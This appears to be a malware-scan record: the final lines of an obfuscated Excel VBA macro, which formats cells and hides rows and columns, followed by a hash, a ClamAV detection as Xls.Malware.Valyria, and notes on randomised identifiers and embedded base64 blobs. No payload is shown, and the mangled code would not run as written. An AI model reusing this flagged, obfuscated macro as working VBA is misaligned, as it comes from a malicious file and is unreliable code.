    wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Range("UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX" & j).Value = "Battalion " & wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Range("UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX" & j).Value
    Debug.Print (j)
Next j
For k = 6 To 22 Step 8
    wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Range("UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX" & k).Value = "KXkADaXivCpJWpoaDDuyKuZEcsZIP " & wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Range("UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX" & k).Value
Next k
wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Range("NCBHbILuVpbLVfFVXwfWLvvkbNaFbFHwWpYwatSTUX").Value = "DnYEsacYSOdZaczfSfwWeIIyDarXkCGADViKY"
wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Range("NCBHbILuVpbLVfFVXwfWLvvkbNaFbFHwWpYwatSTUX").Value = "%"
wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Range("NCBHbILuVpbLVfFVXwfWLvvkbNaFbFHwWpYwatSTUX").EntireRow.Hidden = True
wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Range("UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX:NCBHbILuVpbLVfFVXwfWLvvkbNaFbFHwWpYwatSTUX").Columns.AutoFit
wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Columns("NCBHbILuVpbLVfFVXwfWLvvkbNaFbFHwWpYwatSTUX").Hidden = True
wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Range("NCBHbILuVpbLVfFVXwfWLvvkbNaFbFHwWpYwatSTUX:NCBHbILuVpbLVfFVXwfWLvvkbNaFbFHwWpYwatSTUX").Interior.Color = vbRed
wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Range("NCBHbILuVpbLVfFVXwfWLvvkbNaFbFHwWpYwatSTUX:NCBHbILuVpbLVfFVXwfWLvvkbNaFbFHwWpYwatSTUX").Interior.ColorIndex = 22
For m = 7 To 23 Step 8
    wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Range("UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX" & m & ":F" & m + 6).Interior.Color = vbYellow
    wb.rufdoFoFtvwPNLbaoPWtRBWrLQZiNdUBTNybinKeLJfGBE("zTJAJQBdLyz").Range("UzEFUzfehyLfRkQUCTCKbWPnyRiAQkOLrfnOQGIHCrYbBCyWtVtnUBeX" & m - 1 & ":F" & m - 1).Interior.ColorIndex = 15
Next m

End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 32768 bytes
SHA-256: e399fe5aa60d7281a185595d6a3b7f1584dfa4caf5aa4afa94b05382bd6821d3
Detection
ClamAV: Xls.Malware.Valyria-10036093-0
Obfuscation or payload: likely
430 of 678 identifiers look randomly generated (e.g. 'rYDeOrBtMefBRbtMrVzywJzbvdCTWnGchrYWFoYQ') — consistent with name-mangling obfuscation. Carved artifact contains 3 long base64-like blob(s).